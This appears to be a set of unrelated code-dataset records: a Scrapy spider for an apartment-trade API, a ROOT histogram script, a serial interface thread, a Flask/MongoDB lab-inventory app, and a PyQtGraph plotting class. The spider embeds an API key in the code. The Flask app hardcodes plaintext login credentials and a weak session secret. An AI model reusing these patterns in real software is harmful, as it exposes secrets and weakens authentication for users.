['http://openapi.molit.go.kr:8081/OpenAPI_ToolInstallPackage/service/rest/RTMSOBJSvc/getRTMSDataSvcAptTrade']\n\n def start_requests(self):\n service_key = '71tM1D3BN3EOZtG%2BCoiLLfRIp2Or4R3MfMxqWBheReAfT7y4%2BC7ZBtLwrZ%2F2cxm9vV3pz3etps9yJcwbiPAtBQ%3D%3D'\n location_code = '11110'\n deal_date = '201906'\n open_api = 'http://openapi.molit.go.kr:8081/OpenAPI_ToolInstallPackage/service/rest/RTMSOBJSvc/getRTMSDataSvcAptTrade'\n\n for url in self.start_urls:\n \trequest_api = url + '?LAWD_CD=' + location_code + '&DEAL_YMD=' + deal_date + '&serviceKey=' + service_key\n \tyield scrapy.http.Request(request_api)\n\n def parse(self, response):\n \tsoup = BeautifulSoup(response.text, 'xml')\n \titems = soup.find_all('item')\n \tfor item in items:\n \t\tprint (item.find('거래금액').get_text(), item.find('아파트').get_text(), item.find('전용면적').get_text())\n", "sub_path": "crawling-backup/crawling_scrapy_20210503/crawling_scrapy 2/scrapyproject/ecommerce/ecommerce/spiders/apt_info.py", "file_name": "apt_info.py", "file_ext": "py", "file_size_in_byte": 1059, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scrapy.Spider", "line_number": 5, "usage_type": "attribute"}, {"api_name": "scrapy.http.Request", "line_number": 17, "usage_type": "call"}, {"api_name": "scrapy.http", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}]} {"seq_id": "320282110", "text": "#! /usr/bin/env python \nimport argparse\nimport ROOT, sys\n\n#take stop and lsp mass for chosen signal point from input\nparser = argparse.ArgumentParser()\nparser.add_argument(\"stop_mass\")\nparser.add_argument(\"lsp_mass\")\nargs = parser.parse_args()\n\n#listing signal and background processes\nprocess_names = ['signal*directTT*' + args.stop_mass + '_' + args.lsp_mass + '.*']\n\n#for each process:\nfor name in process_names:\n print(name)\n \n #creating Tchain\n testchain = ROOT.TChain(\"StopZeroLeptonUpgrade__ntuple\")\n #adding root files for given process\n testchain.Add(\"/lustre/scratch/epp/atlas/iv41/OUTPUT/UpgradeAnalysisOutput/LargeDM/\" + name + \"*_NTUP.root\")\n \n #creating output file\n file_name = name\n if \"signal\" in name:\n file_name = \"signal\" + \"_\" + args.stop_mass + \"_\" + args.lsp_mass\n outputfile = ROOT.TFile(\"originalsignalpoints/original_\" + file_name + \".output.root\", \"recreate\")\n\n print(testchain.GetEntries())\n\n #creating histograms for variables\n h_met = ROOT.TH1F(\"h_met\",\" \",100,0,2000)\n h_nbjets = ROOT.TH1F(\"h_nbjets\",\" \",10,0,10)\n h_njets = ROOT.TH1F(\"h_njets\",\" \",20,0,20)\n h_nnonbjets = ROOT.TH1F(\"h_nnonbjets\",\" \",20,0,20)\n h_top1mass = ROOT.TH1F(\"h_top1mass\",\" \",100,-2000,2000)\n h_sumet = ROOT.TH1F(\"h_sumet\",\" \",100,0,5000)\n h_antikt8m0 = ROOT.TH1F(\"h_antikt8m0\",\" \",100,0,1000)\n h_antikt8m1 = ROOT.TH1F(\"h_antikt8m1\",\" \",100,0,1000)\n h_antikt12m0 = ROOT.TH1F(\"h_antikt12m0\",\" \",100,0,1000)\n h_antikt12m1 = ROOT.TH1F(\"h_antikt12m1\",\" \",100,0,1000)\n h_drbb = ROOT.TH1F(\"h_drbb\",\" \",100,0,5)\n\n #should have 2 signals at different delta m\n\n #applying cuts\n counter = 0\n for entry in testchain:\n #filling variable hists & weighting without cuts\n h_met.Fill(entry.Met, entry.GlobalWeight)\n h_nbjets.Fill(entry.NBJets, entry.GlobalWeight)\n h_njets.Fill(entry.NJets, entry.GlobalWeight)\n h_nnonbjets.Fill(entry.NNonBJets, entry.GlobalWeight)\n h_top1mass.Fill(entry.top1M, entry.GlobalWeight)\n h_sumet.Fill(entry.SumEt, entry.GlobalWeight)\n h_antikt8m0.Fill(entry.AntiKt8M_0, entry.GlobalWeight)\n h_antikt8m1.Fill(entry.AntiKt8M_1, entry.GlobalWeight)\n h_antikt12m0.Fill(entry.AntiKt12M_0, entry.GlobalWeight)\n h_antikt12m1.Fill(entry.AntiKt12M_1, entry.GlobalWeight)\n h_drbb.Fill(entry.DRBB, entry.GlobalWeight)\n\n counter += 1\n if counter%1000 == 0:\n print(\"Counter = \", counter)\n\n outputfile.Write()\n outputfile.Close()\n\n#TDirectory to structure\n", "sub_path": "original_output_file_generator.py", "file_name": "original_output_file_generator.py", "file_ext": "py", "file_size_in_byte": 2566, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "ROOT.TChain", "line_number": 19, "usage_type": "call"}, {"api_name": "ROOT.TFile", "line_number": 27, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 32, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 33, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 34, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 35, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 36, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 37, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 38, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 39, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 40, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 41, "usage_type": "call"}, {"api_name": "ROOT.TH1F", "line_number": 42, "usage_type": "call"}]} {"seq_id": "156472850", "text": "#!/usr/bin/python\n'''\nCreated on Jan 25, 2014\n\nLatest version of Interface,\nas of this version full duplex is still not realized,\nif using commands which stream data continuously, use noop (or any non-command) to read more data.\n\n@author: zeroshiiro\n'''\nfrom __future__ import print_function\nimport sys\nimport time\nimport threading\nfrom translate import Translate\n\nclass Interface(threading.Thread):\n '''\n classdocs\n '''\n serClient = None\n translate = None\n\n sendData = None\n \n def setSerClient(self, ser):\n self.serClient = ser\n \n def run(self):\n print(\"Interface Thread Started\\n\")\n self.translate = Translate()\n while(True):\n \n #transfer user input to serial port\n cmd = raw_input(\">>:\")\n if(cmd == \"exit\"):\n sys.exit()\n else:\n self.sendData = self.translate.commandForKatie(cmd.lower())\n\n\n self.serClient.write(self.sendData)\n #give the arduino time to receive, process and populate data buffer\n print(\"Sending data: \" + self.sendData)\n time.sleep(1)\n \n #get data for millisecs as stated by user command\n #inWaiting() basically checks if there is anymore data in the serial buffer\n #its similar to waiting for EOF for files.\n while(self.serClient.inWaiting()):\n try:\n data = self.serClient.readline()\n\n if(\"#\" not in data): continue\n print(self.translate.dataFromKatie(data))\n except KeyboardInterrupt:\n print(\"Exiting...\")\n break\n", "sub_path": "pi/python/interface.py", "file_name": "interface.py", "file_ext": "py", "file_size_in_byte": 1704, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "threading.Thread", "line_number": 17, "usage_type": "attribute"}, {"api_name": "translate.Translate", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 37, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}]} {"seq_id": "215104908", "text": "from flask import Flask, render_template, url_for, request, session, redirect, jsonify\nfrom flask_pymongo import PyMongo, pymongo\nimport yaml\n\napp = Flask(__name__)\n\napp.config[\"MONGO_DBNAME\"] = \"Library\"\napp.config[\"MONGO_URI\"] = \"mongodb://localhost:27017/Library\"\n\nmongo = PyMongo(app)\n\n@app.route(\"/\")\ndef index():\n if \"username\" in session:\n return redirect(url_for(\"home_page\"))\n return render_template(\"flask_mongo_login.html\")\n\n@app.route(\"/login\", methods=[\"POST\"])\ndef login_here():\n if request.form[\"username\"] == \"username1\" and request.form[\"password\"] == \"password1\":\n session[\"username\"] = request.form[\"username\"]\n return redirect(url_for(\"index\"))\n return \"Invalid username/password combination\"\n\n@app.route(\"/home\", methods=[\"GET\"])\ndef home_page():\n if \"username\" in session:\n return render_template(\"flask_home.html\")\n return \"Login required to view page\"\n\n@app.route(\"/Pods\", methods=[\"GET\"])\ndef get_all_Pods():\n if \"username\" in session:\n pods = mongo.db.Pods\n pod_list, available_list, owner_list, usage_list = [], [], [], []\n for one in pods.find().sort(\"Overview.Pod-ID\", pymongo.DESCENDING):\n pod_list.append(one[\"Overview\"][\"Pod-ID\"][6:])\n available_list.append(one[\"Overview\"][\"Available\"])\n owner_list.append(one[\"Overview\"][\"Owner\"])\n usage_list.append(one[\"Overview\"][\"Current Usage\"])\n return render_template(\"flask_pods.html\", pod_list=pod_list, available_list=available_list,\n owner_list=owner_list, usage_list=usage_list)\n return \"Login required to view page\"\n\n@app.route(\"/Pods/<pod_number>\", methods=[\"GET\"])\ndef get_one_Pod(pod_number):\n if \"username\" in session:\n pods = mongo.db.Pods\n q = pods.find_one({\"Overview.Pod-ID\": \"ipod-0\" + pod_number})\n yaml_q = yaml.safe_dump(q, default_flow_style=False, indent=3)\n if q:\n ucsm, pc, blades = [], [], []\n if q[\"Detailed IP\"][\"Device/Asset\"][\"UCS Virtual IP (VIP)\"][\"UCSM\"]:\n ucsm.append(q[\"Detailed IP\"][\"Device/Asset\"][\"UCS Virtual IP (VIP)\"][\"UCSM\"])\n if q[\"Detailed IP\"][\"Device/Asset\"][\"Pod Controller (KVM)\"][\"KVM link\"]:\n pc.append(q[\"Detailed IP\"][\"Device/Asset\"][\"Pod Controller (KVM)\"][\"KVM link\"])\n if q[\"Detailed IP\"][\"Device/Asset\"][\"Blade-8 (KVM)\"][\"KVM link\"]:\n for num in [x + 1 for x in range(8)]:\n blades.append(q[\"Detailed IP\"][\"Device/Asset\"][\"Blade-\" + str(num) + \" (KVM)\"][\"KVM link\"])\n elif q[\"Detailed IP\"][\"Device/Asset\"][\"Blade-6 (KVM)\"][\"KVM link\"]:\n for num in [x + 1 for x in range(6)]:\n blades.append(q[\"Detailed IP\"][\"Device/Asset\"][\"Blade-\" + str(num) + \" (KVM)\"][\"KVM link\"])\n else:\n return \"Pod does not exist in database.\"\n return render_template(\"flask_pod_details.html\", pod_number=pod_number, q=q, yaml_q=yaml_q, ucsm=ucsm, pc=pc,\n blades=blades)\n return \"Login required to view page\"\n\n@app.route(\"/Pods/available\", methods=[\"GET\"])\ndef get_available_Pods():\n if \"username\" in session:\n pods = mongo.db.Pods\n pod_list, available_list, owner_list, usage_list = [], [], [], []\n for one in pods.find({\"Overview.Available\": True}).sort(\"Overview.Pod-ID\", pymongo.DESCENDING):\n pod_list.append(one[\"Overview\"][\"Pod-ID\"][6:])\n available_list.append(one[\"Overview\"][\"Available\"])\n owner_list.append(one[\"Overview\"][\"Owner\"])\n usage_list.append(one[\"Overview\"][\"Current Usage\"])\n return render_template(\"flask_pods.html\", pod_list=pod_list, available_list=available_list,\n owner_list=owner_list, usage_list=usage_list)\n return \"Login required to view page\"\n\n@app.route(\"/Pods/unavailable\", methods=[\"GET\"])\ndef get_unavailable_Pods():\n if \"username\" in session:\n pods = mongo.db.Pods\n pod_list, available_list, owner_list, usage_list = [], [], [], []\n for one in pods.find({\"Overview.Available\": False}).sort(\"Overview.Pod-ID\", pymongo.DESCENDING):\n pod_list.append(one[\"Overview\"][\"Pod-ID\"][6:])\n available_list.append(one[\"Overview\"][\"Available\"])\n owner_list.append(one[\"Overview\"][\"Owner\"])\n usage_list.append(one[\"Overview\"][\"Current Usage\"])\n return render_template(\"flask_pods.html\", pod_list=pod_list, available_list=available_list,\n owner_list=owner_list, usage_list=usage_list)\n return \"Login required to view page\"\n\n@app.route(\"/assets\", methods=[\"GET\"])\ndef get_all_Assets():\n if \"username\" in session:\n assets = mongo.db.Assets\n id_list, asset_list, version_list, hex_list, bm_vm_list, hypervisor_list = [], [], [], [], [], []\n os_base_list, min_stor_list, opt_stor_list, nic_list, vlan_list, nodes_list = [], [], [], [], [], []\n management_list, gold_ip_list, i0_ip_list, i1_ip_list, initials_list, eta_list, description_list = [], [], [], [], [], [], []\n for one in assets.find().sort(\"_id\", pymongo.ASCENDING):\n id_list.append(one[\"_id\"])\n asset_list.append(one[\"Asset Name\"])\n version_list.append(one[\"Version\"])\n hex_list.append(one[\"Hex ID\"])\n bm_vm_list.append(one[\"BM/VM(s)\"])\n hypervisor_list.append(one[\"Hypervisor Version\"])\n os_base_list.append(one[\"OS Base\"])\n min_stor_list.append(one[\"Minimum Storage\"])\n opt_stor_list.append(one[\"Optimal Storage\"])\n nic_list.append(one[\"NICs\"])\n vlan_list.append(one[\"VLANs\"])\n nodes_list.append(one[\"Nodes\"])\n management_list.append(one[\"Management\"])\n gold_ip_list.append(one[\"Gold IP Address\"])\n i0_ip_list.append(one[\"iSCSI0 IP\"])\n i1_ip_list.append(one[\"iSCSI1 IP\"])\n initials_list.append(one[\"Onboarder Initials\"])\n eta_list.append(one[\"ETA\"])\n description_list.append(one[\"Description\"])\n return render_template(\"flask_assets.html\", id_list=id_list, asset_list=asset_list, version_list=version_list,\n hex_list=hex_list, bm_vm_list=bm_vm_list, hypervisor_list=hypervisor_list, os_base_list=os_base_list,\n min_stor_list=min_stor_list, opt_stor_list=opt_stor_list, nic_list=nic_list, vlan_list=vlan_list,\n nodes_list=nodes_list, management_list=management_list, gold_ip_list=gold_ip_list,\n i0_ip_list=i0_ip_list, i1_ip_list=i1_ip_list, initials_list=initials_list, eta_list=eta_list,\n description_list=description_list)\n return \"Login required to view page\"\n\n@app.route(\"/assets/<asset>\", methods=[\"GET\"])\ndef get_one_Asset(asset):\n if \"username\" in session:\n assets = mongo.db.Assets\n q = assets.find_one({\"Asset Name\": asset})\n yaml_q = yaml.safe_dump(q, default_flow_style=False, indent=3)\n if q:\n return render_template(\"flask_asset_details.html\", asset=asset, q=q, yaml_q=yaml_q)\n else:\n return \"Asset does not exist in database.\"\n return \"Login required to view page\"\n\nif __name__ == \"__main__\":\n app.secret_key = \"ctaosecret\"\n app.run(host=\"0.0.0.0\")\n\n", "sub_path": "mongo_pods/flask_mongo_login.py", "file_name": "flask_mongo_login.py", "file_ext": "py", "file_size_in_byte": 7429, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_pymongo.PyMongo", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 33, "usage_type": "name"}, {"api_name": "flask_pymongo.pymongo.DESCENDING", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask_pymongo.pymongo", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 47, "usage_type": "name"}, {"api_name": "yaml.safe_dump", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 71, "usage_type": "name"}, {"api_name": "flask_pymongo.pymongo.DESCENDING", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask_pymongo.pymongo", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 85, "usage_type": "name"}, {"api_name": "flask_pymongo.pymongo.DESCENDING", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask_pymongo.pymongo", "line_number": 88, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 99, "usage_type": "name"}, {"api_name": "flask_pymongo.pymongo.ASCENDING", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask_pymongo.pymongo", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 134, "usage_type": "name"}, {"api_name": "yaml.safe_dump", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 139, "usage_type": "call"}]} {"seq_id": "385529220", "text": "from pyqtgraph.Qt import QtGui, QtCore\nimport numpy as np\nfrom pyqtgraph import PlotItem, mkPen, TextItem, ArrowItem, PlotCurveItem\nimport glo_var\nfrom math import sqrt\n\nclass jalpha:\n\tdef __init__(self, dalpha, rh):\n\n\t\tself.dalpha = dalpha\n\t\tself.p3main = glo_var.MyPW(x=\"\\u03b1\",y1=\"J\",y2= \"\\u27e8\\u2374\\u27e9\", set_range = self.set_range)\n\t\t# self.p3main._rescale = self.set_range\n\t\tself.p3 = self.p3main.plotItem\n\n\t\tself.rh=rh\n\n\n\t\tself.na = \"ha\"\n\n\n\t\tself.p3.setLabel('bottom',\"\\u03b1\",**glo_var.labelstyle)\n\t\tself.p3.setLabel('left',\"J\",**glo_var.labelstyle)\n\t\tself.p3.setLabel('right',\"\\u27e8\\u2374\\u27e9\",**glo_var.labelstyle)\n\n\t\tself.p3.addLegend = glo_var.myaddLegend\n\t\tself.p3.addLegend(self.p3, offset = (20,20))\n\n# to use it as coordinate label\n\t\tself.p3main.tempplotitem = PlotItem()\n\t\t# self.p3main.set_range = self.set_range\n\t\tself.p3_2 = self.p3main.tempplotitem.vb\n\t\tself.p3.showAxis('right')\n\t\tself.p3.scene().addItem(self.p3_2)\n\t\tself.p3.getAxis('right').linkToView(self.p3_2)\n\t\tself.p3_2.setXLink(self.p3)\n\t\tself.p3_2.setBackgroundColor('w')\n\n\t\tself.rho_dash = mkPen(color=(16,52,166),width=glo_var.line_width,style=QtCore.Qt.DashLine)\n\t\tself.dash = mkPen('r',width=glo_var.line_width ,style=QtCore.Qt.DashLine)\n\t\tself.jpen = mkPen('k',width=glo_var.line_width)\n\t\tself.alpha_pen = mkPen('k',width = glo_var.line_width)\n\t\tself.p3main.coordinate_label = QtGui.QLabel()\n\t\tself.frame = glo_var.setframe(self.p3main, width = 1, coordinate_label = self.p3main.coordinate_label)\n\n\t\tself.dalpha.addWidget(self.frame)\n\n\n\t\tself.p3.vb.setLimits(xMin = 0, yMin = 0, xMax = 1, yMax = 1)\n\t\tself.p3_2.setLimits(xMin = 0, yMin = 0, xMax = 1, yMax = 1)\n\n\t\tself.p3.vb.sigResized.connect(self.updateview)\n\n\t\tself.update()\n\t\tself.legend()\n\t\n\tdef set_range(self):\n\t\tself.uplim1 = min(self.jpost * 1.3, 1)\n\t\tself.lolim1 = 0\n\t\tself.uplim2 = min(1, max(max(self.rho_avg_pre)*1.4,max(self.rho_avg_post)*1.4))\n\t\tself.lolim2 = max(0, min(min(self.rho_avg_pre)*0.6,min(self.rho_avg_post)*0.6))\n\n\t\tself.p3.vb.setRange(xRange=[0,3*self.trans_point],yRange=[self.lolim1,self.uplim1],padding =0)\n\t\tself.p3_2.setRange(xRange=[0,3*self.trans_point],yRange=[self.lolim2,self.uplim2], padding = 0)\n\n\tdef checkbox(self):\n\t\tself.alphline = QtGui.QCheckBox('\\u03B1 line')\n\t\tself.alphline.stateChanged.connect(self.alphstate)\n\t\tself.alproxy=QtGui.QGraphicsProxyWidget()\n\t\tself.alproxy.setWidget(self.alphline)\n\n\t\tself.p3_w = self.win.addLayout(row=2,col=0)\n\n\t\tself.p3_w.addItem(self.alproxy,row=0,col=1)\n\n\tdef update(self):\n\t\tself.p3.clear()\n\t\tself.p3_2.clear()\n\t\tself.value_declaration()\n\t\tself.vlim = 1/pow(1+sqrt(glo_var.l),2)\n\n\n\t\tself.trans_point = self.trans_func(glo_var.beta)\n\t\t\n\t\tself.alphas_pre = np.linspace(0,self.trans_point - 0.000001,20)\n\t\t# explain here in the meeting\n\t\t# self.alphas_to_add = np.array([self.trans_point-0.000001, self.trans_point, self.trans_point+0.000001]) \n\t\t# self.alphas_pre = np.concatenate((self.alphas_pre_pre[:-1],self.alphas_to_add))\n\t\tself.alphas_post=np.array([self.trans_point+ 0.000001, 1])\n\t\tself.j_l_values=np.array([i*(self.lambda_0-i)/(self.lambda_0 + (glo_var.l-1)*i) for i in self.alphas_pre])\n\t\t\n\t\tself.rho_avg_pre = []\n\t\tfor i in self.alphas_pre:\n\t\t\tself.rho_avg_pre += [self.cal_rho(self.js(i,glo_var.beta))]\n\t\tself.rho_avg_post = []\n\t\tfor i in self.alphas_post:\n\t\t\tself.rho_avg_post += [self.cal_rho(self.js(i,glo_var.beta))]\n\n\t\tself.num=30\n\t\tself.xs =np.linspace(0,self.trans_point, self.num)\n\t\n\t\t# minused 0.00000001 since it is not working\n\t\t\n\t\tself.p3.plot(self.alphas_pre,self.j_l_values, pen = self.jpen)\n\n\t\t# Can alpha_star be 0? then I need to add conner case\n\t\tif glo_var.beta >= glo_var.beta_star:\n\t\t\tself.jpost= self.j_c\n\t\telse:\n\t\t\tself.jpost= self.j_r\n\t\t\n\t\tself.p3.plot([self.trans_point,1],[self.jpost,self.jpost],pen = self.jpen)\n\n\t\tself.trans_line = self.p3.plot([self.trans_point,self.trans_point],[0,1],pen=self.dash)\n\t\tif self.alphacheck == 1:\n\t\t\tself.text = TextItem(html='<span style=\"color: #1034A6; font-size: 16pt;\">\\u03b1</span></div>', anchor=(0.5,1.5))\n\t\t\tself.p3.addItem(self.text)\n\t\t\tself.arrow = ArrowItem(pos=(glo_var.alpha,0),angle=-90)\n\t\t\tself.p3.addItem(self.arrow)\n\t\t\tself.alphacheck=0\n\t\tself.text.setPos(glo_var.alpha,0)\n\t\tself.arrow.setPos(glo_var.alpha,0)\n\n\t\tself.make_right_axis()\n\t\tself.set_range()\n\t\tif self.jpost < 0.1:\n\t\t\tself.set_range()\n\n\tdef legend(self):\n\t\tself.p3.plot(pen=self.jpen, name='J')\n\t\tself.p3.plot(pen=self.rho_dash, name='\\u27e8\\u2374\\u27e9')\n\n\tdef updateview(self):\n\t\tself.p3_2.setGeometry(self.p3.vb.sceneBoundingRect())\n\t\tself.p3_2.linkedViewChanged(self.p3.vb, self.p3_2.XAxis)\n\n\tdef make_right_axis(self):\n\t\tself.p3_2.addItem(PlotCurveItem(self.alphas_pre,self.rho_avg_pre,pen=self.rho_dash))\n\t\tself.p3_2.addItem(PlotCurveItem(self.alphas_post,self.rho_avg_post,pen=self.rho_dash))\n\n\tdef trans_func(self, point):\n\t\tif point >= glo_var.beta_star:\n\t\t\treturn glo_var.alpha_star\n\t\tself.B = point*(self.lambda_1 - point)/(self.lambda_1 + (glo_var.l -1) * point)\n\t\tself.trans_b = - self.lambda_0 +(glo_var.l-1)*self.B\n\t\tself.trans_intercal = 0 if pow(self.trans_b,2) - 4*self.B*self.lambda_0 < 0.00001 else sqrt(pow(self.trans_b,2) - 4*self.B*self.lambda_0)\n\t\tself.trans = (-self.trans_b - self.trans_intercal)/2\n\t\treturn self.trans\n\n\tdef cal_rho(self,jval):\n\t\tself.xperlambdas = round(150/glo_var.lambdas_degree)\n\t\tself.rhointercal=[]\n\t\tself.rho_l = []\n\t\tself.rho_r = []\n\t\tfor lambda_x in self.rh.lambdas_yval:\n\t\t\tif lambda_x !=0:\n\t\t\t\tself.intercal1 = 1/(2*self.l) + jval*(self.l-1)/(2*self.l*lambda_x)\n\t\t\t\tself.intercal2 = pow(1/(2*self.l) + jval*(self.l-1)/(2*self.l*lambda_x),2) - jval/(self.l*lambda_x)\n\t\t\t\tself.rhointercal+=[(self.intercal1,self.intercal2)]\n\t\t\telse:\n\t\t\t\tprint('lambda_x cannot be 0')\n\t\tfor x,y in self.rhointercal:\n\t\t\tself.inter_y=sqrt(0 if y < 0.000001 else y)\n\t\t\tself.rho_l += [x - self.inter_y] \n\t\t\tself.rho_r += [x + self.inter_y]\n\t\tself.plot_scat(self.rh.scat_step)\n\t\treturn sum(self.scat_ys)/len(self.scat_ys)\n\n\tdef check_two_mins(self):\n\t\tself.minlocation = []\n\t\tself.maxlocation = []\n\t\tcounter=0\n\t\t\n\t\tfor i in self.lambdas_ys:\n\t\t\tif i == self.lambda_min:\n\t\t\t\tself.minlocation+=[counter]\n\t\t\tcounter += 1\n\t\tnum=len(self.minlocation)\n\t\tif num > 1:\n\t\t\tfor j in range(num - 1):\n\t\t\t\tval = max(self.lambdas_ys[self.minlocation[j]:self.minlocation[j+1]])\n\t\t\t\tself.maxlocation += [self.lambdas_ys.index(val,self.minlocation[j])]\n\t\treturn num\n\n\tdef plot_scat(self,steps):\n\t\tself.num_mins = self.check_two_mins()\n\t\tself.scat_ys = []\n\t\tself.scat_xs = []\n\t\tif self.region == 3:\n\t\t\tif self.num_mins > 1:\n\t\t\t\tself.index1 = self.minlocation[0]*self.xperlambdas\n\t\t\t\tself.scat_xs += self.getscatarray(self.rh.lambdas_xval[:self.index1],steps)\n\t\t\t\tself.scat_ys += self.getscatarray(self.rho_r[:self.index1],steps)\n\t\t\t\tfor i in range(1, self.num_mins):\n\t\t\t\t\tself.index1 = self.minlocation[i - 1]*self.xperlambdas\n\t\t\t\t\tself.index2 = self.minlocation[i]*self.xperlambdas\n\t\t\t\t\tself.indexmax = self.maxlocation[i - 1]*self.xperlambdas\n\t\t\t\t\tself.scat_xs += self.getscatarray(self.rh.lambdas_xval[self.index1:self.indexmax],steps)\n\t\t\t\t\tself.scat_ys += self.getscatarray(self.rho_l[self.index1:self.indexmax],steps)\n\t\t\t\t\tself.scat_xs += self.getscatarray(self.rh.lambdas_xval[self.indexmax:self.index2],steps)\n\t\t\t\t\tself.scat_ys += self.getscatarray(self.rho_r[self.indexmax:self.index2],steps)\n\t\t\t\tself.scat_xs += self.getscatarray(self.rh.lambdas_xval[self.index2:],steps)\n\t\t\t\tself.scat_ys += self.getscatarray(self.rho_l[self.index2:],steps)\n\n\t\t\telse :\n\t\t\t\tself.index = self.minlocation[0]*self.xperlambdas\n\t\t\t\tself.scat_xs += self.getscatarray(self.rh.lambdas_xval[:self.index],steps) + self.getscatarray(self.rh.lambdas_xval[self.index:],steps)\n\t\t\t\tself.scat_ys += self.getscatarray(self.rho_r[:self.index],steps) + self.getscatarray(self.rho_l[self.index:],steps)\n\n\t\telif self.region == 2:\n\t\t\tself.scat_xs = self.getscatarray(self.rh.lambdas_xval,steps)\n\t\t\tself.scat_ys = self.getscatarray(self.rho_r,steps)\n\t\telse:\n\t\t\tself.scat_xs = self.getscatarray(self.rh.lambdas_xval,steps)\n\t\t\tself.scat_ys = self.getscatarray(self.rho_l,steps)\n\n\n\n\tdef getscatarray(self,array,step):\n\t\treturn array[::step]\n\n\tdef js(self, alpha, beta):\n\t\t# LD 1, HD 2, MC 3 \n\t\tif beta >= self.beta_star:\n\t\t\tif alpha <= self.alpha_star:\n\t\t\t\tself.region = 1\n\t\t\t\treturn alpha*(self.lambda_0-alpha)/(self.lambda_0+(self.l-1)*alpha)\n\t\t\telse :\n\t\t\t\tself.region = 3\n\t\t\t\treturn self.lambda_min/pow((1+sqrt(self.l)),2)\n\t\telif beta < self.beta_star:\n\t\t\tif alpha < self.alpha_star:\n\t\t\t\tself.jl = alpha*(self.lambda_0-alpha)/(self.lambda_0+(self.l-1)*alpha)\n\t\t\t\tself.jr = beta*(self.lambda_1-beta)/(self.lambda_1+(self.l-1)*beta)\n\t\t\t\tif self.jl <= self.jr:\n\t\t\t\t\tself.region = 1 \n\t\t\t\t\treturn self.jl\n\t\t\t\telse :\n\t\t\t\t\tself.region = 2\n\t\t\t\t\treturn self.jr\n\t\t\telse :\n\t\t\t\tself.region = 2\n\t\t\t\treturn beta*(self.lambda_1-beta)/(self.lambda_1+(self.l-1)*beta)\n\n\tdef value_declaration(self):\n\t\tself.lambdas_xs, self.lambdas_ys = zip(*sorted(glo_var.lambdas))\n\t\tself.lambda_min = min(self.lambdas_ys)\n\t\tself.lambda_0 = glo_var.lambdas[0][1]\n\t\tself.lambda_1 = glo_var.lambdas[-1][1]\n\t\tself.j_c = self.lambda_min/pow(1 + sqrt(glo_var.l),2)\n\t\tself.j_r = glo_var.beta*(self.lambda_1-glo_var.beta)/(self.lambda_1 + (glo_var.l-1)*glo_var.beta)\n\t\tself.alpha_star = glo_var.alpha_star\n\t\tself.beta_star = glo_var.beta_star\n\t\tself.alpha=glo_var.alpha\n\t\tself.beta=glo_var.beta\n\t\tself.l=glo_var.l\n\t\tself.alphacheck = 1\n\t\tself.transcheck = 1\n\n\n\n\n\tdef plot_sum_rho(self):\n\t\tself.basic_1 = 1/(2*glo_var.l)\n\t\tself.basic_2 = (glo_var.l - 1)/pow((1+sqrt(glo_var.l)),2)\n\t\tself.inter_sum = 0\n\t\tself.rho_sum=[]\n\t\tself.domain = np.concatenate((self.alphas_pre,self.alphas_post))\n\t\tfor i in self.domain:\n\t\t\tself.j_inter=self.js(i,glo_var.beta)\n\t\t\tif self.region == 1:\n\t\t\t\tfor j in range(self.rh.min_location_1):\n\t\t\t\t\tself.inter_cal = pow((self.basic_1 + self.j_inter*self.basic_2),2) - self.j_inter/(glo_var.l*self.lambdas_ys[j]) 